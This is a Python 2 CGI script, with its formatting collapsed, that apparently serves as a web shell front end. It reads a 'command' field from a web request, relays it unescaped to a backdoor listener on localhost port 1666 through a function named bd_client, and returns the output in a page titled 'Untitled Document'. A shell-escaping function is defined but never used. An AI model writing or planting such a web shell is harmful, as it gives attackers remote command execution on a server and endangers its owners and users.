#!/usr/bin/env python # #sys.path.insert (0,"/var/www/cgi-bin") import sys import os import commands import cgi import traceback import string import re import socket ROOTPATH="/tmp" CGISH_HTML=""" Untitled Document
%(SHELL_OUTPUT)s


""" def page (result = ''): """Return the main form""" return CGISH_HTML % {'SHELL_OUTPUT':result} def bd_client (command, host='localhost', port = 1666): HOST = 'localhost' # The remote host PORT = 1666 # The same port as used by the server s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((HOST, PORT)) s.send(command) data = s.recv (1920) s.close() return data #fout = file ('/tmp/log2','w') #fout.write (command) #fout.write ('\n') # s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # s.connect((host, port)) # s.send(command) # data = s.recv(1024) #fout.write (data) #fout.write ('\n') # s.close() #fout.close() # return data #def link (matchobject): # """Used in re.sub calls to replace a matched object with an HTML link.""" # path = matchobject.group(0) # l = "%s" % \ # (ROOTPATH+"/"+path, ROOTPATH+"/"+path, path) # return l def escape_shell_meta_chars(s): """Escape shell meta characters. This is done for security.""" s = string.replace(s, "\\", "\\\\") s = string.replace(s, "`", "\\`") s = string.replace(s, " ", "\\ ",) s = string.replace(s, "&", "\\&",) s = string.replace(s, ";", "\\;",) s = string.replace(s, "\"", "\\\"",) s = string.replace(s, "\'", "\\'",) s = string.replace(s, "|", "\\|",) s = string.replace(s, "*", "\\*",) s = string.replace(s, "<", "\\<",) s = string.replace(s, ">", "\\>",) return s sys.path.insert (0,"/usr/local/apache/cgi-bin") sys.stderr = sys.stdout print "Content-type: text/html" print try: form = cgi.FieldStorage() if form.has_key("command"): command = form["command"].value result = bd_client (command) print page(result) else: print page() except: print "\n\n
"
	traceback.print_exc()
	print "
"